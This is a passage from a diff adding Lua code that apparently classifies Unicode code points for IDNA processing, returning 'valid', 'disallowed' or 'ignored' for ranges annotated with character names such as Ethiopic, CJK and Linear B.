+ -- DOUBLED FEMALE SIGN..FUNERAL URN
+ if x >= 0x269E then
+ return {status="disallowed"}
+ end
+ elseif x <= 0x26CD then
+ -- CERES..SESQUIQUADRATE
+ -- SOCCER BALL..SQUARED KEY
+ -- WHITE DRAUGHTS MAN..BLACK DRAUGHTS KING
+ -- SNOWMAN WITHOUT SNOW..DISABLED CAR
+ if x >= 0x26B3 then
+ return {status="disallowed"}
+ end
+ elseif x <= 0x26E1 then
+ -- PICK..RESTRICTED LEFT ENTRY-2
+ if x >= 0x26CF then
+ return {status="disallowed"}
+ end
+ elseif x <= 0x26FF then
+ -- PENTAGRAM..INVERTED PENTAGRAM
+ -- BLACK CROSS ON SHIELD..WHITE FLAG WITH HORIZONTAL MIDDLE BLACK STRIPE
+ if x >= 0x26E4 then
+ return {status="disallowed"}
+ end
+ elseif x <= 0x2727 then
+ -- TELEPHONE LOCATION SIGN..ENVELOPE
+ -- RAISED FIST..RAISED HAND
+ -- VICTORY HAND..WHITE FOUR POINTED STAR
+ if x >= 0x2706 then
+ return {status="disallowed"}
+ end
+ elseif x <= 0x274B then
+ -- STRESS OUTLINED WHITE STAR..HEAVY EIGHT TEARDROP-SPOKED PROPELLER ASTERISK
+ if x >= 0x2729 then
+ return {status="disallowed"}
+ end
+ elseif x <= 0x2755 then
+ -- LOWER RIGHT DROP-SHADOWED WHITE SQUARE..UPPER RIGHT SHADOWED WHITE SQUARE
+ -- BLACK QUESTION MARK ORNAMENT..WHITE EXCLAMATION MARK ORNAMENT
+ if x >= 0x274F then
+ return {status="disallowed"}
+ end
+ elseif x <= 0x27AF then
+ -- LIGHT VERTICAL BAR..HEAVY DOUBLE COMMA QUOTATION MARK ORNAMENT
+ -- HEAVY LOW SINGLE COMMA QUOTATION MARK ORNAMENT..HEAVY LOW DOUBLE COMMA QUOTATION MARK ORNAMENT
+ -- CURVED STEM PARAGRAPH SIGN ORNAMENT..ROTATED FLORAL HEART BULLET
+ -- MEDIUM LEFT PARENTHESIS ORNAMENT..MEDIUM RIGHT CURLY BRACKET ORNAMENT
+ -- DINGBAT NEGATIVE CIRCLED DIGIT ONE..HEAVY WIDE-HEADED RIGHTWARDS ARROW
+ -- HEAVY PLUS SIGN..HEAVY DIVISION SIGN
+ -- HEAVY SOUTH EAST ARROW..NOTCHED LOWER RIGHT-SHADOWED WHITE RIGHTWARDS ARROW
+ if x >= 0x2758 then
+ return {status="disallowed"}
+ end
+ elseif x <= 0x27BE then
+ -- NOTCHED UPPER RIGHT-SHADOWED WHITE RIGHTWARDS ARROW..OPEN-OUTLINED RIGHTWARDS ARROW
+ if x >= 0x27B1 then
+ return {status="disallowed"}
+ end
+ elseif x <= 0x27CA then
+ -- THREE DIMENSIONAL ANGLE..RIGHT S-SHAPED BAG DELIMITER
+ -- OR WITH DOT INSIDE..VERTICAL BAR WITH HORIZONTAL STROKE
+ if x >= 0x27C0 then
+ return {status="disallowed"}
+ end
+ elseif x <= 0x2A0B then
+ -- SQUARED LOGICAL AND..SQUARED LOGICAL OR
+ -- WHITE DIAMOND WITH CENTRED DOT..MATHEMATICAL RIGHT DOUBLE ANGLE BRACKET
+ -- MATHEMATICAL LEFT WHITE TORTOISE SHELL BRACKET..MATHEMATICAL RIGHT FLATTENED PARENTHESIS
+ -- UPWARDS QUADRUPLE ARROW..LONG RIGHTWARDS SQUIGGLE ARROW
+ -- BRAILLE PATTERN BLANK..BRAILLE PATTERN DOTS-12345678
+ -- RIGHTWARDS TWO-HEADED ARROW WITH VERTICAL STROKE..SUMMATION WITH INTEGRAL
+ if x >= 0x27CE then
+ return {status="disallowed"}
+ end
+ elseif x <= 0x2A73 then
+ -- FINITE PART INTEGRAL..EQUALS SIGN ABOVE TILDE OPERATOR
+ if x >= 0x2A0D then
+ return {status="disallowed"}
+ end
+ elseif x <= 0x2ADB then
+ -- EQUALS SIGN WITH TWO DOTS ABOVE AND TWO DOTS BELOW..TRANSVERSAL INTERSECTION
+ if x >= 0x2A77 then
+ return {status="disallowed"}
+ end
+ elseif x <= 0x2B73 then
+ -- NONFORKING..N-ARY WHITE VERTICAL BAR
+ -- NORTH EAST WHITE ARROW..UP DOWN BLACK ARROW
+ -- RIGHTWARDS ARROW WITH TIP DOWNWARDS..SQUARE WITH BOTTOM HALF BLACK
+ -- SQUARE WITH UPPER RIGHT DIAGONAL HALF BLACK..DOTTED SQUARE
+ -- BLACK LARGE SQUARE..BLACK PENTAGON
+ -- WHITE PENTAGON..HORIZONTAL BLACK HEXAGON
+ -- BLACK LARGE CIRCLE..RIGHTWARDS ARROW ABOVE REVERSE TILDE OPERATOR
+ -- DOWNWARDS TRIANGLE-HEADED ZIGZAG ARROW..SHORT BACKSLANTED SOUTH ARROW
+ -- WHITE MEDIUM STAR..WHITE RIGHT-POINTING PENTAGON
+ -- HEAVY LARGE CIRCLE..HEAVY CIRCLED SALTIRE
+ -- SLANTED NORTH ARROW WITH HOOKED HEAD..DOWNWARDS TRIANGLE-HEADED ARROW TO BAR
+ if x >= 0x2ADD then
+ return {status="disallowed"}
+ end
+ elseif x <= 0x2B95 then
+ -- NORTH WEST TRIANGLE-HEADED ARROW TO BAR..RIGHTWARDS BLACK ARROW
+ if x >= 0x2B76 then
+ return {status="disallowed"}
+ end
+ elseif x <= 0x2BB9 then
+ -- THREE-D TOP-LIGHTED LEFTWARDS EQUILATERAL ARROWHEAD..UP ARROWHEAD IN A RECTANGLE BOX
+ if x >= 0x2B98 then
+ return {status="disallowed"}
+ end
+ elseif x <= 0x2BC8 then
+ -- BALLOT BOX WITH LIGHT X..BLACK MEDIUM RIGHT-POINTING TRIANGLE CENTRED
+ if x >= 0x2BBD then
+ return {status="disallowed"}
+ end
+ elseif x <= 0x2BD1 then
+ -- TOP HALF BLACK CIRCLE..UNCERTAINTY SIGN
+ if x >= 0x2BCA then
+ return {status="disallowed"}
+ end
+ elseif x <= 0x2BEB then
+ -- NA <reserved-2BD3>..<reserved-2BEB>
+ if x >= 0x2BD3 then
+ return {status="disallowed"}
+ end
+ elseif x <= 0x2BFF then
+ -- NA <reserved-2BF0>..<reserved-2BFF>
+ if x >= 0x2BF0 then
+ return {status="disallowed"}
+ end
+ elseif x <= 0x2C5E then
+ -- GLAGOLITIC SMALL LETTER AZU..GLAGOLITIC SMALL LETTER LATINATE MYSLITE
+ if x >= 0x2C30 then
+ return {status="valid"}
+ end
+ elseif x <= 0x2C7B then
+ -- LATIN SMALL LETTER HALF H..LATIN SMALL LETTER TAILLESS PHI
+ -- LATIN SMALL LETTER E WITH NOTCH..LATIN LETTER SMALL CAPITAL TURNED E
+ if x >= 0x2C76 then
+ return {status="valid"}
+ end
+ elseif x <= 0x2CEA then
+ -- COPTIC SYMBOL MI RO..COPTIC SYMBOL SHIMA SIMA
+ if x >= 0x2CE5 then
+ return {status="disallowed"}
+ end
+ elseif x <= 0x2CFF then
+ -- COPTIC OLD NUBIAN FULL STOP..COPTIC MORPHOLOGICAL DIVIDER
+ if x >= 0x2CF9 then
+ return {status="disallowed"}
+ end
+ elseif x <= 0x2D25 then
+ -- GEORGIAN SMALL LETTER AN..GEORGIAN SMALL LETTER HOE
+ if x >= 0x2D00 then
+ return {status="valid"}
+ end
+ elseif x <= 0x2D67 then
+ -- TIFINAGH LETTER YA..TIFINAGH LETTER YAZZ
+ -- TIFINAGH LETTER YE..TIFINAGH LETTER YO
+ if x >= 0x2D30 then
+ return {status="valid"}
+ end
+ elseif x <= 0x2D6E then
+ -- NA <reserved-2D68>..<reserved-2D6E>
+ if x >= 0x2D68 then
+ return {status="disallowed"}
+ end
+ elseif x <= 0x2D7E then
+ -- NA <reserved-2D71>..<reserved-2D7E>
+ if x >= 0x2D71 then
+ return {status="disallowed"}
+ end
+ elseif x <= 0x2D96 then
+ -- ETHIOPIC SYLLABLE LOA..ETHIOPIC SYLLABLE GGWE
+ if x >= 0x2D80 then
+ return {status="valid"}
+ end
+ elseif x <= 0x2D9F then
+ -- NA <reserved-2D97>..<reserved-2D9F>
+ if x >= 0x2D97 then
+ return {status="disallowed"}
+ end
+ elseif x <= 0x2DA6 then
+ -- ETHIOPIC SYLLABLE SSA..ETHIOPIC SYLLABLE SSO
+ if x >= 0x2DA0 then
+ return {status="valid"}
+ end
+ elseif x <= 0x2DAE then
+ -- ETHIOPIC SYLLABLE CCA..ETHIOPIC SYLLABLE CCO
+ if x >= 0x2DA8 then
+ return {status="valid"}
+ end
+ elseif x <= 0x2DB6 then
+ -- ETHIOPIC SYLLABLE ZZA..ETHIOPIC SYLLABLE ZZO
+ if x >= 0x2DB0 then
+ return {status="valid"}
+ end
+ elseif x <= 0x2DBE then
+ -- ETHIOPIC SYLLABLE CCHA..ETHIOPIC SYLLABLE CCHO
+ if x >= 0x2DB8 then
+ return {status="valid"}
+ end
+ elseif x <= 0x2DC6 then
+ -- ETHIOPIC SYLLABLE QYA..ETHIOPIC SYLLABLE QYO
+ if x >= 0x2DC0 then
+ return {status="valid"}
+ end
+ elseif x <= 0x2DCE then
+ -- ETHIOPIC SYLLABLE KYA..ETHIOPIC SYLLABLE KYO
+ if x >= 0x2DC8 then
+ return {status="valid"}
+ end
+ elseif x <= 0x2DD6 then
+ -- ETHIOPIC SYLLABLE XYA..ETHIOPIC SYLLABLE XYO
+ if x >= 0x2DD0 then
+ return {status="valid"}
+ end
+ elseif x <= 0x2DDE then
+ -- ETHIOPIC SYLLABLE GYA..ETHIOPIC SYLLABLE GYO
+ if x >= 0x2DD8 then
+ return {status="valid"}
+ end
+ elseif x <= 0x2DFF then
+ -- COMBINING CYRILLIC LETTER BE..COMBINING CYRILLIC LETTER IOTIFIED BIG YUS
+ if x >= 0x2DE0 then
+ return {status="valid"}
+ end
+ elseif x <= 0x2E2E then
+ -- RIGHT ANGLE SUBSTITUTION MARKER..DOUBLE OBLIQUE HYPHEN
+ -- INVERTED INTERROBANG..TILDE WITH RING ABOVE
+ -- LEFT LOW PARAPHRASE BRACKET..RIGHT LOW PARAPHRASE BRACKET
+ -- TILDE WITH DOT ABOVE..REVERSED QUESTION MARK
+ if x >= 0x2E00 then
+ return {status="disallowed"}
+ end
+ elseif x <= 0x2E49 then
+ -- TURNED COMMA..THREE-EM DASH
+ -- STENOGRAPHIC FULL STOP..DOUBLE LOW-REVERSED-9 QUOTATION MARK
+ -- DASH WITH LEFT UPTURN..DOUBLE SUSPENSION MARK
+ -- INVERTED LOW KAVYKA..DOUBLE STACKED COMMA
+ if x >= 0x2E32 then
+ return {status="disallowed"}
+ end
+ elseif x <= 0x2E7F then
+ -- NA <reserved-2E4A>..<reserved-2E7F>
+ if x >= 0x2E4A then
+ return {status="disallowed"}
+ end
+ elseif x <= 0x2E99 then
+ -- CJK RADICAL REPEAT..CJK RADICAL RAP
+ if x >= 0x2E80 then
+ return {status="disallowed"}
+ end
+ elseif x <= 0x2EF2 then
+ -- CJK RADICAL CIVILIAN..CJK RADICAL J-SIMPLIFIED TURTLE
+ if x >= 0x2EA0 then
+ return {status="disallowed"}
+ end
+ elseif x <= 0x2EFF then
+ -- NA <reserved-2EF4>..<reserved-2EFF>
+ if x >= 0x2EF4 then
+ return {status="disallowed"}
+ end
+ elseif x <= 0x2FFF then
+ -- NA <reserved-2FD6>..<reserved-2FEF>
+ -- IDEOGRAPHIC DESCRIPTION CHARACTER LEFT TO RIGHT..IDEOGRAPHIC DESCRIPTION CHARACTER OVERLAID
+ -- NA <reserved-2FFC>..<reserved-2FFF>
+ if x >= 0x2FD6 then
+ return {status="disallowed"}
+ end
+ elseif x <= 0x3029 then
+ -- LEFT ANGLE BRACKET..HANGZHOU NUMERAL NINE
+ if x >= 0x3008 then
+ return {status="disallowed"}
+ end
+ elseif x <= 0x3035 then
+ -- HANGUL SINGLE DOT TONE MARK..VERTICAL KANA REPEAT MARK LOWER HALF
+ if x >= 0x302E then
+ return {status="disallowed"}
+ end
+ elseif x <= 0x3096 then
+ -- HIRAGANA LETTER SMALL A..HIRAGANA LETTER VU
+ -- HIRAGANA LETTER SMALL KA..HIRAGANA LETTER SMALL KE
+ if x >= 0x3041 then
+ return {status="valid"}
+ end
+ elseif x <= 0x30FE then
+ -- KATAKANA LETTER SMALL A..KATAKANA VOICED ITERATION MARK
+ if x >= 0x30A1 then
+ return {status="valid"}
+ end
+ elseif x <= 0x312C then
+ -- BOPOMOFO LETTER B..BOPOMOFO LETTER GN
+ if x >= 0x3105 then
+ return {status="valid"}
+ end
+ elseif x <= 0x31BA then
+ -- BOPOMOFO LETTER BU..BOPOMOFO FINAL LETTER H
+ -- BOPOMOFO LETTER GH..BOPOMOFO LETTER ZY
+ if x >= 0x31A0 then
+ return {status="valid"}
+ end
+ elseif x <= 0x31E3 then
+ -- CJK STROKE T..CJK STROKE N
+ -- CJK STROKE H..CJK STROKE Q
+ if x >= 0x31C0 then
+ return {status="disallowed"}
+ end
+ elseif x <= 0x31EF then
+ -- NA <reserved-31E4>..<reserved-31EF>
+ if x >= 0x31E4 then
+ return {status="disallowed"}
+ end
+ elseif x <= 0x31FF then
+ -- KATAKANA LETTER SMALL KU..KATAKANA LETTER SMALL RO
+ if x >= 0x31F0 then
+ return {status="valid"}
+ end
+ elseif x <= 0x324F then
+ -- CIRCLED NUMBER TEN ON BLACK SQUARE..CIRCLED NUMBER EIGHTY ON BLACK SQUARE
+ if x >= 0x3248 then
+ return {status="disallowed"}
+ end
+ elseif x <= 0x4DB5 then
+ -- CJK UNIFIED IDEOGRAPH-3400..CJK UNIFIED IDEOGRAPH-4DB5
+ if x >= 0x3400 then
+ return {status="valid"}
+ end
+ elseif x <= 0x4DBF then
+ -- NA <reserved-4DB6>..<reserved-4DBF>
+ if x >= 0x4DB6 then
+ return {status="disallowed"}
+ end
+ elseif x <= 0x4DFF then
+ -- HEXAGRAM FOR THE CREATIVE HEAVEN..HEXAGRAM FOR BEFORE COMPLETION
+ if x >= 0x4DC0 then
+ return {status="disallowed"}
+ end
+ elseif x <= 0x9FCB then
+ -- CJK UNIFIED IDEOGRAPH-4E00..CJK UNIFIED IDEOGRAPH-9FA5
+ -- CJK UNIFIED IDEOGRAPH-9FA6..CJK UNIFIED IDEOGRAPH-9FBB
+ -- CJK UNIFIED IDEOGRAPH-9FBC..CJK UNIFIED IDEOGRAPH-9FC3
+ -- CJK UNIFIED IDEOGRAPH-9FC4..CJK UNIFIED IDEOGRAPH-9FCB
+ if x >= 0x4E00 then
+ return {status="valid"}
+ end
+ elseif x <= 0x9FEA then
+ -- CJK UNIFIED IDEOGRAPH-9FCD..CJK UNIFIED IDEOGRAPH-9FD5
+ -- CJK UNIFIED IDEOGRAPH-9FD6..CJK UNIFIED IDEOGRAPH-9FEA
+ if x >= 0x9FCD then
+ return {status="valid"}
+ end
+ elseif x <= 0x9FFF then
+ -- NA <reserved-9FEB>..<reserved-9FFF>
+ if x >= 0x9FEB then
+ return {status="disallowed"}
+ end
+ elseif x <= 0xA48C then
+ -- YI SYLLABLE IT..YI SYLLABLE YYR
+ if x >= 0xA000 then
+ return {status="valid"}
+ end
+ elseif x <= 0xA4B3 then
+ -- YI RADICAL QOT..YI RADICAL GA
+ -- YI RADICAL ZUP..YI RADICAL CYT
+ -- YI RADICAL DDUR..YI RADICAL JO
+ if x >= 0xA490 then
+ return {status="disallowed"}
+ end
+ elseif x <= 0xA4C0 then
+ -- YI RADICAL JJY..YI RADICAL SHAT
+ if x >= 0xA4B5 then
+ return {status="disallowed"}
+ end
+ elseif x <= 0xA4CF then
+ -- NA <reserved-A4C7>..<reserved-A4CF>
+ if x >= 0xA4C7 then
+ return {status="disallowed"}
+ end
+ elseif x <= 0xA4FD then
+ -- LISU LETTER BA..LISU LETTER TONE MYA JEU
+ if x >= 0xA4D0 then
+ return {status="valid"}
+ end
+ elseif x <= 0xA60C then
+ -- VAI SYLLABLE EE..VAI SYLLABLE LENGTHENER
+ if x >= 0xA500 then
+ return {status="valid"}
+ end
+ elseif x <= 0xA62B then
+ -- VAI SYLLABLE NDOLE FA..VAI SYLLABLE NDOLE DO
+ if x >= 0xA610 then
+ return {status="valid"}
+ end
+ elseif x <= 0xA63F then
+ -- NA <reserved-A62C>..<reserved-A63F>
+ if x >= 0xA62C then
+ return {status="disallowed"}
+ end
+ elseif x <= 0xA67D then
+ -- COMBINING CYRILLIC LETTER UKRAINIAN IE..COMBINING CYRILLIC LETTER OMEGA
+ -- COMBINING CYRILLIC KAVYKA..COMBINING CYRILLIC PAYEROK
+ if x >= 0xA674 then
+ return {status="valid"}
+ end
+ elseif x <= 0xA6E5 then
+ -- BAMUM LETTER A..BAMUM LETTER KI
+ if x >= 0xA6A0 then
+ return {status="valid"}
+ end
+ elseif x <= 0xA6EF then
+ -- BAMUM LETTER MO..BAMUM LETTER KOGHOM
+ if x >= 0xA6E6 then
+ return {status="disallowed"}
+ end
+ elseif x <= 0xA6F7 then
+ -- BAMUM NJAEMLI..BAMUM QUESTION MARK
+ if x >= 0xA6F2 then
+ return {status="disallowed"}
+ end
+ elseif x <= 0xA6FF then
+ -- NA <reserved-A6F8>..<reserved-A6FF>
+ if x >= 0xA6F8 then
+ return {status="disallowed"}
+ end
+ elseif x <= 0xA716 then
+ -- MODIFIER LETTER CHINESE TONE YIN PING..MODIFIER LETTER EXTRA-LOW LEFT-STEM TONE BAR
+ if x >= 0xA700 then
+ return {status="disallowed"}
+ end
+ elseif x <= 0xA71F then
+ -- MODIFIER LETTER DOT VERTICAL BAR..MODIFIER LETTER LOWER RIGHT CORNER ANGLE
+ -- MODIFIER LETTER RAISED UP ARROW..MODIFIER LETTER LOW INVERTED EXCLAMATION MARK
+ if x >= 0xA717 then
+ return {status="valid"}
+ end
+ elseif x <= 0xA778 then
+ -- LATIN SMALL LETTER DUM..LATIN SMALL LETTER UM
+ if x >= 0xA771 then
+ return {status="valid"}
+ end
+ elseif x <= 0xA7F6 then
+ -- NA <reserved-A7B8>..<reserved-A7F6>
+ if x >= 0xA7B8 then
+ return {status="disallowed"}
+ end
+ elseif x <= 0xA827 then
+ -- LATIN EPIGRAPHIC LETTER REVERSED F..LATIN EPIGRAPHIC LETTER ARCHAIC M
+ -- SYLOTI NAGRI LETTER A..SYLOTI NAGRI VOWEL SIGN OO
+ if x >= 0xA7FB then
+ return {status="valid"}
+ end
+ elseif x <= 0xA839 then
+ -- NORTH INDIC FRACTION ONE QUARTER..NORTH INDIC QUANTITY MARK
+ if x >= 0xA830 then
+ return {status="disallowed"}
+ end
+ elseif x <= 0xA83F then
+ -- NA <reserved-A83A>..<reserved-A83F>
+ if x >= 0xA83A then
+ return {status="disallowed"}
+ end
+ elseif x <= 0xA873 then
+ -- PHAGS-PA LETTER KA..PHAGS-PA LETTER CANDRABINDU
+ if x >= 0xA840 then
+ return {status="valid"}
+ end
+ elseif x <= 0xA87F then
+ -- NA <reserved-A878>..<reserved-A87F>
+ if x >= 0xA878 then
+ return {status="disallowed"}
+ end
+ elseif x <= 0xA8C4 then
+ -- SAURASHTRA SIGN ANUSVARA..SAURASHTRA SIGN VIRAMA
+ if x >= 0xA880 then
+ return {status="valid"}
+ end
+ elseif x <= 0xA8CD then
+ -- NA <reserved-A8C6>..<reserved-A8CD>
+ if x >= 0xA8C6 then
+ return {status="disallowed"}
+ end
+ elseif x <= 0xA8D9 then
+ -- SAURASHTRA DIGIT ZERO..SAURASHTRA DIGIT NINE
+ if x >= 0xA8D0 then
+ return {status="valid"}
+ end
+ elseif x <= 0xA8DF then
+ -- NA <reserved-A8DA>..<reserved-A8DF>
+ if x >= 0xA8DA then
+ return {status="disallowed"}
+ end
+ elseif x <= 0xA8F7 then
+ -- COMBINING DEVANAGARI DIGIT ZERO..DEVANAGARI SIGN CANDRABINDU AVAGRAHA
+ if x >= 0xA8E0 then
+ return {status="valid"}
+ end
+ elseif x <= 0xA92D then
+ -- KAYAH LI DIGIT ZERO..KAYAH LI TONE CALYA PLOPHU
+ if x >= 0xA900 then
+ return {status="valid"}
+ end
+ elseif x <= 0xA953 then
+ -- REJANG LETTER KA..REJANG VIRAMA
+ if x >= 0xA930 then
+ return {status="valid"}
+ end
+ elseif x <= 0xA95E then
+ -- NA <reserved-A954>..<reserved-A95E>
+ if x >= 0xA954 then
+ return {status="disallowed"}
+ end
+ elseif x <= 0xA97C then
+ -- HANGUL CHOSEONG TIKEUT-MIEUM..HANGUL CHOSEONG SSANGYEORINHIEUH
+ if x >= 0xA960 then
+ return {status="disallowed"}
+ end
+ elseif x <= 0xA9C0 then
+ -- JAVANESE SIGN PANYANGGA..JAVANESE PANGKON
+ if x >= 0xA980 then
+ return {status="valid"}
+ end
+ elseif x <= 0xA9CD then
+ -- JAVANESE LEFT RERENGGAN..JAVANESE TURNED PADA PISELEH
+ if x >= 0xA9C1 then
+ return {status="disallowed"}
+ end
+ elseif x <= 0xA9D9 then
+ -- JAVANESE PANGRANGKEP..JAVANESE DIGIT NINE
+ if x >= 0xA9CF then
+ return {status="valid"}
+ end
+ elseif x <= 0xA9FE then
+ -- MYANMAR LETTER SHAN GHA..MYANMAR LETTER TAI LAING BHA
+ if x >= 0xA9E0 then
+ return {status="valid"}
+ end
+ elseif x <= 0xAA36 then
+ -- CHAM LETTER A..CHAM CONSONANT SIGN WA
+ if x >= 0xAA00 then
+ return {status="valid"}
+ end
+ elseif x <= 0xAA3F then
+ -- NA <reserved-AA37>..<reserved-AA3F>
+ if x >= 0xAA37 then
+ return {status="disallowed"}
+ end
+ elseif x <= 0xAA4D then
+ -- CHAM LETTER FINAL K..CHAM CONSONANT SIGN FINAL H
+ if x >= 0xAA40 then
+ return {status="valid"}
+ end
+ elseif x <= 0xAA59 then
+ -- CHAM DIGIT ZERO..CHAM DIGIT NINE
+ if x >= 0xAA50 then
+ return {status="valid"}
+ end
+ elseif x <= 0xAA76 then
+ -- MYANMAR LETTER KHAMTI GA..MYANMAR LOGOGRAM KHAMTI HM
+ if x >= 0xAA60 then
+ return {status="valid"}
+ end
+ elseif x <= 0xAAC2 then
+ -- MYANMAR LETTER AITON RA..MYANMAR SIGN PAO KAREN TONE
+ -- MYANMAR SIGN TAI LAING TONE-2..MYANMAR LETTER SHWE PALAUNG SHA
+ -- TAI VIET LETTER LOW KO..TAI VIET TONE MAI SONG
+ if x >= 0xAA7A then
+ return {status="valid"}
+ end
+ elseif x <= 0xAADA then
+ -- NA <reserved-AAC3>..<reserved-AADA>
+ if x >= 0xAAC3 then
+ return {status="disallowed"}
+ end
+ elseif x <= 0xAAEF then
+ -- MEETEI MAYEK LETTER E..MEETEI MAYEK VOWEL SIGN AAU
+ if x >= 0xAAE0 then
+ return {status="valid"}
+ end
+ elseif x <= 0xAB00 then
+ -- NA <reserved-AAF7>..<reserved-AB00>
+ if x >= 0xAAF7 then
+ return {status="disallowed"}
+ end
+ elseif x <= 0xAB06 then
+ -- ETHIOPIC SYLLABLE TTHU..ETHIOPIC SYLLABLE TTHO
+ if x >= 0xAB01 then
+ return {status="valid"}
+ end
+ elseif x <= 0xAB0E then
+ -- ETHIOPIC SYLLABLE DDHU..ETHIOPIC SYLLABLE DDHO
+ if x >= 0xAB09 then
+ return {status="valid"}
+ end
+ elseif x <= 0xAB16 then
+ -- ETHIOPIC SYLLABLE DZU..ETHIOPIC SYLLABLE DZO
+ if x >= 0xAB11 then
+ return {status="valid"}
+ end
+ elseif x <= 0xAB1F then
+ -- NA <reserved-AB17>..<reserved-AB1F>
+ if x >= 0xAB17 then
+ return {status="disallowed"}
+ end
+ elseif x <= 0xAB26 then
+ -- ETHIOPIC SYLLABLE CCHHA..ETHIOPIC SYLLABLE CCHHO
+ if x >= 0xAB20 then
+ return {status="valid"}
+ end
+ elseif x <= 0xAB2E then
+ -- ETHIOPIC SYLLABLE BBA..ETHIOPIC SYLLABLE BBO
+ if x >= 0xAB28 then
+ return {status="valid"}
+ end
+ elseif x <= 0xAB5A then
+ -- LATIN SMALL LETTER BARRED ALPHA..LATIN SMALL LETTER Y WITH SHORT RIGHT LEG
+ if x >= 0xAB30 then
+ return {status="valid"}
+ end
+ elseif x <= 0xAB65 then
+ -- LATIN SMALL LETTER SAKHA YAT..LATIN SMALL LETTER UO
+ -- LATIN SMALL LETTER INVERTED ALPHA..GREEK LETTER SMALL CAPITAL OMEGA
+ if x >= 0xAB60 then
+ return {status="valid"}
+ end
+ elseif x <= 0xAB6F then
+ -- NA <reserved-AB66>..<reserved-AB6F>
+ if x >= 0xAB66 then
+ return {status="disallowed"}
+ end
+ elseif x <= 0xABEA then
+ -- MEETEI MAYEK LETTER KOK..MEETEI MAYEK VOWEL SIGN NUNG
+ if x >= 0xABC0 then
+ return {status="valid"}
+ end
+ elseif x <= 0xABF9 then
+ -- MEETEI MAYEK DIGIT ZERO..MEETEI MAYEK DIGIT NINE
+ if x >= 0xABF0 then
+ return {status="valid"}
+ end
+ elseif x <= 0xABFF then
+ -- NA <reserved-ABFA>..<reserved-ABFF>
+ if x >= 0xABFA then
+ return {status="disallowed"}
+ end
+ elseif x <= 0xD7A3 then
+ -- HANGUL SYLLABLE GA..HANGUL SYLLABLE HIH
+ if x >= 0xAC00 then
+ return {status="valid"}
+ end
+ elseif x <= 0xD7AF then
+ -- NA <reserved-D7A4>..<reserved-D7AF>
+ if x >= 0xD7A4 then
+ return {status="disallowed"}
+ end
+ elseif x <= 0xD7C6 then
+ -- HANGUL JUNGSEONG O-YEO..HANGUL JUNGSEONG ARAEA-E
+ if x >= 0xD7B0 then
+ return {status="disallowed"}
+ end
+ elseif x <= 0xD7FB then
+ -- HANGUL JONGSEONG NIEUN-RIEUL..HANGUL JONGSEONG PHIEUPH-THIEUTH
+ if x >= 0xD7CB then
+ return {status="disallowed"}
+ end
+ elseif x <= 0xF8FF then
+ -- NA <reserved-D7FC>..<reserved-D7FF>
+ -- <surrogate-D800>..<surrogate-DFFF>
+ -- <private-use-E000>..<private-use-F8FF>
+ if x >= 0xD7FC then
+ return {status="disallowed"}
+ end
+ elseif x <= 0xFAFF then
+ -- NA <reserved-FADA>..<reserved-FAFF>
+ if x >= 0xFADA then
+ return {status="disallowed"}
+ end
+ elseif x <= 0xFB12 then
+ -- NA <reserved-FB07>..<reserved-FB12>
+ if x >= 0xFB07 then
+ return {status="disallowed"}
+ end
+ elseif x <= 0xFBC1 then
+ -- ARABIC SYMBOL DOT ABOVE..ARABIC SYMBOL SMALL TAH BELOW
+ if x >= 0xFBB2 then
+ return {status="disallowed"}
+ end
+ elseif x <= 0xFBD2 then
+ -- NA <reserved-FBC2>..<reserved-FBD2>
+ if x >= 0xFBC2 then
+ return {status="disallowed"}
+ end
+ elseif x <= 0xFD4F then
+ -- NA <reserved-FD40>..<reserved-FD4F>
+ if x >= 0xFD40 then
+ return {status="disallowed"}
+ end
+ elseif x <= 0xFDEF then
+ -- NA <reserved-FDC8>..<reserved-FDCF>
+ -- <noncharacter-FDD0>..<noncharacter-FDEF>
+ if x >= 0xFDC8 then
+ return {status="disallowed"}
+ end
+ elseif x <= 0xFE0F then
+ -- VARIATION SELECTOR-1..VARIATION SELECTOR-16
+ if x >= 0xFE00 then
+ return {status='ignored'}
+ end
+ elseif x <= 0xFE1F then
+ -- NA <reserved-FE1A>..<reserved-FE1F>
+ if x >= 0xFE1A then
+ return {status="disallowed"}
+ end
+ elseif x <= 0xFE2F then
+ -- COMBINING LIGATURE LEFT HALF..COMBINING DOUBLE TILDE RIGHT HALF
+ -- COMBINING MACRON LEFT HALF..COMBINING CONJOINING MACRON
+ -- COMBINING LIGATURE LEFT HALF BELOW..COMBINING CONJOINING MACRON BELOW
+ -- COMBINING CYRILLIC TITLO LEFT HALF..COMBINING CYRILLIC TITLO RIGHT HALF
+ if x >= 0xFE20 then
+ return {status="valid"}
+ end
+ elseif x <= 0xFFFB then
+ -- NA <reserved-FFEF>..<reserved-FFF8>
+ -- INTERLINEAR ANNOTATION ANCHOR..INTERLINEAR ANNOTATION TERMINATOR
+ if x >= 0xFFEF then
+ return {status="disallowed"}
+ end
+ elseif x <= 0x1000B then
+ -- LINEAR B SYLLABLE B008 A..LINEAR B SYLLABLE B046 JE
+ if x >= 0x10000 then
+ return {status="valid"}
+ end
+ elseif x <= 0x10026 then
+ -- LINEAR B SYLLABLE B036 JO..LINEAR B SYLLABLE B032 QO
+ if x >= 0x1000D then
+ return {status="valid"}
+ end
+ elseif x <= 0x1003A then
+ -- LINEAR B SYLLABLE B060 RA..LINEAR B SYLLABLE B042 WO
+ if x >= 0x10028 then
+ return {status="valid"}
+ end
+ elseif x <= 0x1004D then
+ -- LINEAR B SYLLABLE B020 ZO..LINEAR B SYLLABLE B091 TWO
+ if x >= 0x1003F then
+ return {status="valid"}
+ end
+ elseif x <= 0x1005D then
+ -- LINEAR B SYMBOL B018..LINEAR B SYMBOL B089
+ if x >= 0x10050 then
+ return {status="valid"}
+ end
+ elseif x <= 0x1007F then
+ -- NA <reserved-1005E>..<reserved-1007F>
+ if x >= 0x1005E then
+ return {status="disallowed"}
+ end
+ elseif x <= 0x100FA then
+ -- LINEAR B IDEOGRAM B100 MAN..LINEAR B IDEOGRAM VESSEL B305
+ if x >= 0x10080 then
+ return {status="valid"}
+ end
+ elseif x <= 0x10133 then
+ -- AEGEAN NUMBER ONE..AEGEAN NUMBER NINETY THOUSAND
+ if x >= 0x10107 then
+ return {status="disallowed"}
+ end
+ elseif x <= 0x1018E then
+ -- AEGEAN WEIGHT BASE UNIT..AEGEAN MEASURE THIRD SUBUNIT
+ -- GREEK ACROPHONIC ATTIC ONE QUARTER..GREEK ZERO SIGN
+ -- GREEK ONE QUARTER SIGN..GREEK SINUSOID SIGN
+ -- GREEK INDICTION SIGN..NOMISMA SIGN
+ if x >= 0x10137 then
+ return {status="disallowed"}
+ end
+ elseif x <= 0x1019B then
